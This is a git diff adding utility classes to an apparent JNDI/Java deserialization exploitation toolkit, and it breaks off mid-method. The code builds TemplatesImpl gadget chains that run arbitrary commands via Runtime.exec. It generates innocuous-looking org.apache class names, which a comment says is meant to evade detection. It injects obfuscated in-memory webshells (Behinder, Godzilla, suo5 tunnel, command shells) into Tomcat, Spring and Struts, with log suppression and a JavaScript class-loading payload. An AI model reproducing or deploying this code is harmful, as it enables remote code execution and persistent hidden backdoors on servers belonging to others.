b/src/main/java/com/qi4l/jndi/gadgets/utils/ClassFiles.java @@ -0,0 +1,44 @@ +package com.qi4l.jndi.gadgets.utils; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; + +public class ClassFiles { + public static String classAsFile(final Class clazz) { + return classAsFile(clazz, true); + } + + public static String classAsFile(final Class clazz, boolean suffix) { + String str; + if (clazz.getEnclosingClass() == null) { + str = clazz.getName().replace(".", "/"); + } else { + str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); + } + if (suffix) { + str += ".class"; + } + return str; + } + + public static byte[] classAsBytes(final Class clazz) { + try { + final byte[] buffer = new byte[1024]; + final String file = classAsFile(clazz); + final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); + if (in == null) { + throw new IOException("couldn't find '" + file + "'"); + } + final ByteArrayOutputStream out = new ByteArrayOutputStream(); + int len; + while ((len = in.read(buffer)) != -1) { + out.write(buffer, 0, len); + } + return out.toByteArray(); + } catch (IOException e) { + throw new RuntimeException(e); + } + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/ClassNameUtils.java b/src/main/java/com/qi4l/jndi/gadgets/utils/ClassNameUtils.java new file mode 100644 index 0000000..ea531f9 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/ClassNameUtils.java @@ -0,0 +1,88 @@ +package com.qi4l.jndi.gadgets.utils; + +import java.net.JarURLConnection; +import java.net.URL; +import java.util.Enumeration; +import java.util.HashSet; +import java.util.Set; +import java.util.jar.JarEntry; +import java.util.jar.JarFile; + +public class ClassNameUtils { + public static ClassLoader loader = new SuClassLoader(); + + public static Set set = null; + + /** + * 生成一个咋一下不出来问题的,但是在用户实际环境不存在的类名 + * 本来想直接用哥斯拉的 txt,但估计特征都被搞完了,这里自实现一个方法 + * 因为 apache 基金会的开源项目非常多,几乎大多数项目都会用到,所以看到 org.apache 包名的类也不会惊讶 + * 这里的逻辑是,获取目前项目中所有 org.apache 包下的类名,随机取两个,第一个取前三个包名,第二个取后三个包名进行拼接 + * + * @return 返回类型 + */ + public static String generateClassName() { + if (set == null) { + set = getClassSet("org.apache"); + } + Object[] array = set.toArray(); + + String name1 = array[(int) (Math.random() * array.length)].toString(); + String name2 = name1; + + while (name1.equals(name2)) { + name2 = array[(int) (Math.random() * array.length)].toString(); + } + + // 获取第一个包的前三个包名 + name1 = name1.substring(0, name1.indexOf(".", 11)); + + // 获取第二个包的后三个包名 + String temp = name2.substring(0, name2.lastIndexOf(".")); + temp = temp.substring(0, temp.lastIndexOf(".")); + temp = temp.substring(0, temp.lastIndexOf(".")); + name2 = name2.substring(temp.length()); + + String newName = name1 + name2; + + if (set.contains(newName)) { + return generateClassName(); + } else { + return newName; + } + } + + public static Set getClassSet(String packageName) { + Set classSet = new HashSet<>(); + try { + Enumeration urls = loader.getResources(packageName.replace(".", "/")); + while (urls.hasMoreElements()) { + URL url = urls.nextElement(); + if (url != null) { + String protocol = url.getProtocol(); + if (protocol.equals("jar")) { + JarURLConnection jarURLConnection = (JarURLConnection) url.openConnection(); + if (jarURLConnection != null) { + JarFile jarFile = jarURLConnection.getJarFile(); + if (jarFile != null) { + Enumeration jarEntries = jarFile.entries(); + while (jarEntries.hasMoreElements()) { + JarEntry jarEntry = jarEntries.nextElement(); + String jarEntryName = jarEntry.getName(); + if (jarEntryName.endsWith(".class")) { + String className = jarEntryName.substring(0, jarEntryName.lastIndexOf(".")).replaceAll("/", "."); + if (!className.contains("$") && className.startsWith(packageName)) { + classSet.add(className); + } + } + } + } + } + } + } + } + } catch (Exception ignored) { + } + return classSet; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Gadgets.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Gadgets.java new file mode 100644 index 0000000..8a054bb --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Gadgets.java @@ -0,0 +1,287 @@ +package com.qi4l.jndi.gadgets.utils; + +import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; +import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; +import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; +import javassist.ClassClassPath; +import javassist.CtClass; +import javassist.CtConstructor; + +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.jndi.gadgets.Config.Config.*; +import static com.qi4l.jndi.gadgets.utils.Utils.saveCtClassToFile; +import static com.qi4l.jndi.gadgets.utils.Utils.writeClassToFile; +import static com.qi4l.jndi.gadgets.utils.handle.ClassFieldHandler.insertField; +import static com.qi4l.jndi.gadgets.utils.handle.ClassMethodHandler.insertCMD; +import static com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler.generateClassName; +import static com.qi4l.jndi.gadgets.utils.handle.GlassHandler.generateClass; +import static com.qi4l.jndi.gadgets.utils.handle.GlassHandler.shrinkBytes; +import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; + +public class Gadgets extends ClassLoader { + public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; + public static Class TPL_CLASS = TemplatesImpl.class; + public static Class ABST_TRANSLET = AbstractTranslet.class; + public static Class TRANS_FACTORY = TransformerFactoryImpl.class; + + static { + // special case for using TemplatesImpl gadgets with a SecurityManager enabled + System.setProperty(DESERIALIZE_TRANSLET, "true"); + + // for RMI remote loading + System.setProperty("java.rmi.server.useCodebaseOnly", "false"); + + try { + // 兼容不同 JDK 版本 + if (Boolean.parseBoolean(System.getProperty("properXalan", "false")) || FORCE_USING_ORG_APACHE_TEMPLATESIMPL) { + TPL_CLASS = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"); + ABST_TRANSLET = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"); + TRANS_FACTORY = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"); + } + } catch (Exception ignored) { + } + } + + public static T createMemoitizedProxy(final Map map, final Class iface, final Class... ifaces) throws Exception { + return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); + } + + + public static InvocationHandler createMemoizedInvocationHandler(final Map map) throws Exception { + return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); + } + + + public static T createProxy(final InvocationHandler ih, final Class iface, final Class... ifaces) { + final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); + allIfaces[0] = iface; + if (ifaces.length > 0) { + System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); + } + return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); + } + + + public static Map createMap(final String key, final Object val) { + final Map map = new HashMap(); + map.put(key, val); + return map; + } + + + public static Object createTemplatesImpl(String command) throws Exception { + command = command.trim(); + + // 支持单双引号 + if (command.startsWith("'") || command.startsWith("\"")) { + command = command.substring(1, command.length() - 1); + } + + CtClass ctClass = null; + byte[] classBytes = new byte[0]; + String newClassName = generateClassName(); + + final Object templates = TPL_CLASS.newInstance(); + POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); + CtClass superClass = POOL.get(ABST_TRANSLET.getName()); + + // 扩展功能 + if (command.startsWith("EX-") || command.startsWith("LF-")) { + ctClass = generateClass(command, newClassName); + } else { + // 普通的命令执行 + if (IS_OBSCURE) { + ctClass = POOL.makeClass(newClassName); + insertCMD(ctClass); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{execCmd(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); + } else { + // 最短化 + ctClass = POOL.makeClass(newClassName); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); + } + } + + // 如果全局配置继承,再设置父类 + if (IS_INHERIT_ABSTRACT_TRANSLET) { + shrinkBytes(ctClass); + + // 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载 + if (!"java.lang.Object".equals(ctClass.getSuperclass().getName())) { + ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); + } else { + // 否则直接设置父类 + ctClass.defrost(); + ctClass.setSuperclass(superClass); + } + } + + // 按需保存文件 + saveCtClassToFile(ctClass); + classBytes = ctClass.toBytecode(); + + // 加载 class 试试 +// loadClassTest(classBytes, ctClass.getName()); + + // 写入前将 classBytes 中的类标识设为 JDK 1.6 的版本号 + classBytes[7] = 49; + + // 恶意类是否继承 AbstractTranslet + if (IS_INHERIT_ABSTRACT_TRANSLET) { + Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes}); + } else { + CtClass newClass = POOL.makeClass(generateClassName()); + insertField(newClass, "serialVersionUID", "private static final long serialVersionUID = 8207363842866235160L;"); + + Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, newClass.toBytecode()}); + // 当 _transletIndex >= 0 且 classCount 也就是生成类的数量大于 1 时,不需要继承 AbstractTranslet + Reflections.setFieldValue(templates, "_transletIndex", 0); + } + + // required to make TemplatesImpl happy + Reflections.setFieldValue(templates, "_name", "a"); + Reflections.setFieldValue(templates, "_tfactory", TRANS_FACTORY.newInstance()); + return templates; + } + + public static Class createClassT(String command) throws Exception { + command = command.trim(); + + // 支持单双引号 + if (command.startsWith("'") || command.startsWith("\"")) { + command = command.substring(1, command.length() - 1); + } + + CtClass ctClass = null; + byte[] classBytes = new byte[0]; + String newClassName = generateClassName(); + + final Object templates = TPL_CLASS.newInstance(); + POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); + CtClass superClass = POOL.get(ABST_TRANSLET.getName()); + + // 扩展功能 + if (command.startsWith("EX-") || command.startsWith("LF-")) { + ctClass = generateClass(command, newClassName); + } else { + // 普通的命令执行 + if (IS_OBSCURE) { + ctClass = POOL.makeClass(newClassName); + insertCMD(ctClass); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{execCmd(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); + } else { + // 最短化 + ctClass = POOL.makeClass(newClassName); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); + } + } + + // 如果全局配置继承,再设置父类 + if (IS_INHERIT_ABSTRACT_TRANSLET) { + shrinkBytes(ctClass); + + // 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载 + if (!"java.lang.Object".equals(ctClass.getSuperclass().getName())) { + ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); + } else { + // 否则直接设置父类 + ctClass.defrost(); + ctClass.setSuperclass(superClass); + } + } + + return ctClass.getClass(); + } + + public static String createClassB(String command) throws Exception { + command = command.trim(); + + // 支持单双引号 + if (command.startsWith("'") || command.startsWith("\"")) { + command = command.substring(1, command.length() - 1); + } + + CtClass ctClass = null; + byte[] classBytes = new byte[0]; + String newClassName = generateClassName(); + + final Object templates = TPL_CLASS.newInstance(); + POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); + CtClass superClass = POOL.get(ABST_TRANSLET.getName()); + + // 扩展功能 + if (command.startsWith("EX-") || command.startsWith("LF-")) { + ctClass = generateClass(command, newClassName); + } else { + // 普通的命令执行 + if (IS_OBSCURE) { + ctClass = POOL.makeClass(newClassName); + insertCMD(ctClass); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{execCmd(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); + } else { + // 最短化 + ctClass = POOL.makeClass(newClassName); + CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass); + ctConstructor.setBody("{Runtime.getRuntime().exec(\"" + command + "\");}"); + ctClass.addConstructor(ctConstructor); + } + } + + // 如果全局配置继承,再设置父类 + if (IS_INHERIT_ABSTRACT_TRANSLET) { + shrinkBytes(ctClass); + + // 如果 payload 自身有父类,则使用 ClassLoaderTemplate 加载 + if (!"java.lang.Object".equals(ctClass.getSuperclass().getName())) { + ctClass = Utils.encapsulationByClassLoaderTemplate(ctClass.toBytecode()); + } else { + // 否则直接设置父类 + ctClass.defrost(); + ctClass.setSuperclass(superClass); + } + } + + String className = ctClass.getName(); + writeClassToFile(className, ctClass.toBytecode()); + + return className; + } + + public static HashMap makeMap(Object v1, Object v2) throws Exception { + HashMap s = new HashMap(); + Reflections.setFieldValue(s, "size", 2); + Class nodeC; + try { + nodeC = Class.forName("java.util.HashMap$Node"); + } catch (ClassNotFoundException e) { + nodeC = Class.forName("java.util.HashMap$Entry"); + } + Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); + Reflections.setAccessible(nodeCons); + + Object tbl = Array.newInstance(nodeC, 2); + Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); + Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); + Reflections.setFieldValue(s, "table", tbl); + return s; + } + + public Class defineClass(String name, byte[] bytecode) { + return defineClass(name, bytecode, 0, bytecode.length); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/HexUtils.java b/src/main/java/com/qi4l/jndi/gadgets/utils/HexUtils.java new file mode 100644 index 0000000..cdd0b24 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/HexUtils.java @@ -0,0 +1,64 @@ +package com.qi4l.jndi.gadgets.utils; + +import java.io.IOException; +import java.io.InputStream; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.util.Formatter; + +public class HexUtils { + public static String generatePassword(String password) { + String md5Str = getMD5(password); + if (md5Str != null) { + return md5Str.substring(0, 16).toLowerCase(); + } + + // 如果生成出错,则使用 p@ssw0rd + return "0f359740bd1cda99"; + } + + public static String getMD5(String str) { + // 生成一个MD5加密计算摘要 + MessageDigest md = null; + try { + md = MessageDigest.getInstance("MD5"); + md.update(str.getBytes()); + return toHexString(md.digest()); + } catch (NoSuchAlgorithmException e) { + } + return null; + } + + private static String toHexString(byte[] bytes) { + Formatter formatter = new Formatter(); + for (byte b : bytes) { + formatter.format("%02x", b); + } + String res = formatter.toString(); + formatter.close(); + return res; + } + + public static byte[] toByteArray(InputStream in) throws IOException { + byte[] classBytes; + classBytes = new byte[in.available()]; + in.read(classBytes); + in.close(); + return classBytes; + } + + public static String bytesToHexString(byte[] bArray, int length) { + StringBuffer sb = new StringBuffer(length); + + for (int i = 0; i < length; ++i) { + String sTemp = Integer.toHexString(255 & bArray[i]); + if (sTemp.length() < 2) { + sb.append(0); + } + + sb.append(sTemp.toUpperCase()); + } + return sb.toString(); + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java b/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java new file mode 100644 index 0000000..f142cf9 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java @@ -0,0 +1,502 @@ +package com.qi4l.jndi.gadgets.utils; + +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.template.Agent.WinMenshell; +import com.qi4l.jndi.template.memshell.tomcat.TSMSFromJMXF; +import javassist.*; +import org.apache.commons.cli.CommandLine; +import org.apache.commons.cli.CommandLineParser; +import org.apache.commons.cli.DefaultParser; +import org.apache.commons.cli.Options; +import org.apache.commons.codec.binary.Base64; + +import java.lang.reflect.Field; +import java.util.Arrays; +import java.util.List; + +import static com.qi4l.jndi.gadgets.Config.MemShellPayloads.*; +import static com.qi4l.jndi.gadgets.utils.HexUtils.generatePassword; +import static com.qi4l.jndi.template.memshell.shell.MemShellPayloads.SUO5.CMD_SHELL_FOR_WEBFLUX; + +public class InjShell { + + public static CommandLine cmdLine; + + public static void insertKeyMethod(CtClass ctClass, String type) throws Exception { + + // 判断是否为 Tomcat 类型,需要对 request 封装使用额外的 payload + String name = ctClass.getName(); + name = name.substring(name.lastIndexOf(".") + 1); + + // 大多数 SpringBoot 项目使用内置 Tomcat + boolean isTomcat = name.startsWith("T") || name.startsWith("Spring"); + boolean isWebflux = name.contains("Webflux"); + + // 判断是 filter 型还是 servlet 型内存马,根据不同类型写入不同逻辑 + String method = ""; + if (name.contains("SpringControllerMS")) { + method = "drop"; + } else if (name.contains("Struts2ActionMS")) { + method = "executeAction"; + } + + List classes = new java.util.ArrayList(Arrays.asList(ctClass.getInterfaces())); + classes.add(ctClass.getSuperclass()); + + for (CtClass value : classes) { + String className = value.getName(); + if (Config.KEY_METHOD_MAP.containsKey(className)) { + method = Config.KEY_METHOD_MAP.get(className); + break; + } + } + + // 命令执行、各种内存马 + insertField(ctClass, "HEADER_KEY", "public static String HEADER_KEY=" + converString(Config.HEADER_KEY) + ";"); + insertField(ctClass, "HEADER_VALUE", "public static String HEADER_VALUE=" + converString(Config.HEADER_VALUE) + ";"); + + if ("bx".equals(type)) { + try { + ctClass.getDeclaredMethod("base64Decode"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_DECODE_STRING_TO_BYTE), ctClass)); + } + + try { + ctClass.getDeclaredMethod("getFieldValue"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass)); + } + + try { + ctClass.getDeclaredMethod("getMethodByClass"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_BY_CLASS), ctClass)); + } + + try { + ctClass.getDeclaredMethod("getMethodAndInvoke"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE), ctClass)); + } + + if (Config.IS_OBSCURE) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_UNSAFE), ctClass)); + } + + String shell = ""; + if (isTomcat) { + insertTomcatNoLog(ctClass); + shell = Config.IS_OBSCURE ? BEHINDER_SHELL_FOR_TOMCAT_OBSCURE : BEHINDER_SHELL_FOR_TOMCAT; + } else { + shell = Config.IS_OBSCURE ? BEHINDER_SHELL_OBSCURE : BEHINDER_SHELL; + } + + insertMethod(ctClass, method, Utils.base64Decode(shell).replace("f359740bd1cda994", Config.PASSWORD)); + } else if ("gz".equals(type)) { + insertField(ctClass, "payload", "Class payload ;"); + insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";"); + insertField(ctClass, "PASS", "String PASS = " + converString(Config.PASSWORD_ORI) + ";"); + + try { + ctClass.getDeclaredMethod("base64Decode"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_DECODE_STRING_TO_BYTE), ctClass)); + } + + ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_ENCODE_BYTE_TO_STRING), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(MD5), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(AES_FOR_GODZILLA), ctClass)); + insertTomcatNoLog(ctClass); + if (isWebflux) { + insertMethod(ctClass, method, Utils.base64Decode(GODZILLA_SHELL_FOR_WEBFLUX)); + } else { + insertMethod(ctClass, method, Utils.base64Decode(GODZILLA_SHELL)); + } + } else if ("gzraw".equals(type)) { + insertField(ctClass, "payload", "Class payload ;"); + insertField(ctClass, "xc", "String xc = " + converString(Config.GODZILLA_KEY) + ";"); + + ctClass.addMethod(CtMethod.make(Utils.base64Decode(AES_FOR_GODZILLA), ctClass)); + insertTomcatNoLog(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(GODZILLA_RAW_SHELL)); + } else if ("suo5".equals(type)) { + + // 先写入一些需要的基础属性 + insertField(ctClass, "gInStream", "java.io.InputStream gInStream;"); + insertField(ctClass, "gOutStream", "java.io.OutputStream gOutStream;"); + + // 依次写入方法 + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_CREATE), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_DATA), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_DEL), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_SET_STREAM), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_NEW_STATUS), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_U32_TO_BYTES), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_BYTES_TO_U32), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_MARSHAL), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_UNMARSHAL), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_READ_SOCKET), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_READ_INPUT_STREAM_WITH_TIMEOUT), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_TRY_FULL_DUPLEX), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_READ_REQ), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_PROCESS_DATA_UNARY), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.SUO5_PROCESS_DATA_BIO), ctClass)); + + // 为恶意类设置 Runnable 接口以及 RUN 方法 + CtClass runnableClass = ClassPool.getDefault().get("java.lang.Runnable"); + ctClass.addInterface(runnableClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(SUO5.RUN), ctClass)); + + // 插入关键方法 + insertMethod(ctClass, method, Utils.base64Decode(SUO5.SUO5)); + } else if ("execute".equals(type)) { + insertField(ctClass, "TAG", "public static String TAG = \"" + Config.CMD_HEADER_STRING + "\";"); + insertCMD(ctClass); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_REQUEST), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(BASE64_ENCODE_BYTE_TO_STRING), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_RESPONSE), ctClass)); + + insertMethod(ctClass, method, Utils.base64Decode(EXECUTOR_SHELL)); + } else if ("ws".equals(type)) { + insertCMD(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(WS_SHELL)); + } else if ("upgrade".equals(type)) { + insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";"); + + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass)); + insertCMD(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(UPGRADE_SHELL)); + } else { + insertCMD(ctClass); + insertField(ctClass, "CMD_HEADER", "public static String CMD_HEADER = " + converString(Config.CMD_HEADER_STRING) + ";"); + + if (isWebflux) { + insertMethod(ctClass, method, Utils.base64Decode(CMD_SHELL_FOR_WEBFLUX)); + } else if (isTomcat) { + insertTomcatNoLog(ctClass); + insertMethod(ctClass, method, Utils.base64Decode(CMD_SHELL_FOR_TOMCAT)); + } else { + insertMethod(ctClass, method, Utils.base64Decode(CMD_SHELL)); + } + } + + ctClass.setName(ClassNameUtils.generateClassName()); + insertField(ctClass, "pattern", "public static String pattern = " + converString(Config.URL_PATTERN) + ";"); + + } + + // 恶心一下人,实际没用 + public static String converString(String target) { + if (Config.IS_OBSCURE) { + StringBuilder result = new StringBuilder("new String(new byte[]{"); + byte[] bytes = target.getBytes(); + for (int i = 0; i < bytes.length; i++) { + result.append(bytes[i]).append(","); + } + return result.substring(0, result.length() - 1) + "})"; + } + + return "\"" + target + "\""; + } + + public static void insertMethod(CtClass ctClass, String method, String payload) throws NotFoundException, CannotCompileException { + //添加到类路径,防止出错 + ClassPool pool; + pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(TSMSFromJMXF.class)); + // 根据传入的不同参数,在不同方法中插入不同的逻辑 + CtMethod cm = ctClass.getDeclaredMethod(method); + cm.setBody(payload); + } + + /** + * 向指定类中写入命令执行方法 execCmd + * 方法需要 toCString getMethodByClass getMethodAndInvoke getFieldValue 依赖方法 + * + * @param ctClass 指定类 + * @throws Exception 抛出异常 + */ + public static void insertCMD(CtClass ctClass) throws Exception { + + if (Config.IS_OBSCURE) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(TO_CSTRING_Method), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_BY_CLASS), ctClass)); + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_AND_INVOKE), ctClass)); + try { + ctClass.getDeclaredMethod("getFieldValue"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass)); + } + ctClass.addMethod(CtMethod.make(Utils.base64Decode(EXEC_CMD_OBSCURE), ctClass)); + } else { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(EXEC_CMD), ctClass)); + } + } + + public static void insertField(CtClass ctClass, String fieldName, String fieldCode) throws Exception { + ctClass.defrost(); + try { + CtField ctSUID = ctClass.getDeclaredField(fieldName); + ctClass.removeField(ctSUID); + } catch (javassist.NotFoundException ignored) { + } + ctClass.addField(CtField.make(fieldCode, ctClass)); + } + + public static void TinsertWinAgent(CtClass ctClass) throws Exception { + List classes = new java.util.ArrayList<>(Arrays.asList(ctClass.getInterfaces())); + classes.add(ctClass.getSuperclass()); + + String className = null; + for (CtClass value : classes) { + className = value.getName(); + if (Config.KEY_METHOD_MAP.containsKey(className)) { + break; + } + } + + byte[] bytes = ctClass.toBytecode(); + Class ctClazz = Class.forName("com.qi4l.jndi.template.Agent.WinMenshell"); + Field WinClassName = ctClazz.getDeclaredField("className"); + WinClassName.setAccessible(true); + WinClassName.set(ctClazz, className); + Field WinclassBody = ctClazz.getDeclaredField("classBody"); + WinclassBody.setAccessible(true); + WinclassBody.set(ctClazz, bytes); + } + + public static void TinsertLinAgent(CtClass ctClass) throws Exception { + List classes = new java.util.ArrayList<>(Arrays.asList(ctClass.getInterfaces())); + classes.add(ctClass.getSuperclass()); + + String className = null; + for (CtClass value : classes) { + className = value.getName(); + if (Config.KEY_METHOD_MAP.containsKey(className)) { + break; + } + } + byte[] bytes = ctClass.toBytecode(); + Class ctClazz = Class.forName("com.qi4l.jndi.template.Agent.LinMenshell"); + Field LinClassName = ctClazz.getDeclaredField("className"); + LinClassName.setAccessible(true); + LinClassName.set(ctClazz, className); + Field LinclassBody = ctClazz.getDeclaredField("classBody"); + LinclassBody.setAccessible(true); + LinclassBody.set(ctClazz, bytes); + } + + + public static String structureShellTom(Class payload) throws Exception { + Config.init(); + ClassPool pool = ClassPool.getDefault(); + pool.insertClassPath(new ClassClassPath(payload)); + CtClass ctClass = pool.get(payload.getName()); + InjShell.class.getMethod("insertKeyMethod", CtClass.class, String.class).invoke(InjShell.class.newInstance(), ctClass, Config.Shell_Type); + ctClass.setName(ClassNameUtils.generateClassName()); + if (Config.winAgent) { + TinsertWinAgent(ctClass); + return injectClass(WinMenshell.class); + } + if (Config.linAgent) { + TinsertLinAgent(ctClass); + return injectClass(WinMenshell.class); + } + if (Config.HIDE_MEMORY_SHELL) { + switch (Config.HIDE_MEMORY_SHELL_TYPE) { + case 1: + break; + case 2: + CtClass newClass = pool.get("com.qi4l.jndi.template.HideMemShellTemplate"); + newClass.setName(ClassNameUtils.generateClassName()); + String content = "b64=\"" + Base64.encodeBase64String(ctClass.toBytecode()) + "\";"; + String className = "className=\"" + ctClass.getName() + "\";"; + newClass.defrost(); + newClass.makeClassInitializer().insertBefore(content); + newClass.makeClassInitializer().insertBefore(className); + + if (Config.IS_INHERIT_ABSTRACT_TRANSLET) { + Class abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"); + CtClass superClass = pool.get(abstTranslet.getName()); + newClass.setSuperclass(superClass); + } + + return injectClass(newClass.getClass()); + } + } + return injectClass(ctClass.getClass()); + } + + //类加载方式,因类而异 + public static String injectClass(Class clazz) { + + String classCode = null; + try { + //获取base64后的类 + classCode = Util.getClassCode(clazz); + + } catch (Exception e) { + e.printStackTrace(); + } + + return "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" + + "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + + "try{\n" + + " var clazz = classLoader.loadClass('" + clazz.getName() + "');\n" + + " clazz.newInstance();\n" + + "}catch(err){\n" + + " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + + " method.setAccessible(true);\n" + + " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + + " clazz.newInstance();\n" + + "};"; + } + + public static void insertTomcatNoLog(CtClass ctClass) throws Exception { + + try { + ctClass.getDeclaredMethod("getFieldValue"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_FIELD_VALUE), ctClass)); + } + + try { + ctClass.getDeclaredMethod("getMethodByClass"); + } catch (NotFoundException e) { + ctClass.addMethod(CtMethod.make(Utils.base64Decode(GET_METHOD_BY_CLASS), ctClass)); + } + + try { + ctClass.getDeclaredMethod("getMethodAndInvoke"); + } catch (NotFoundException e) { + if (Config.IS_OBSCURE) { + 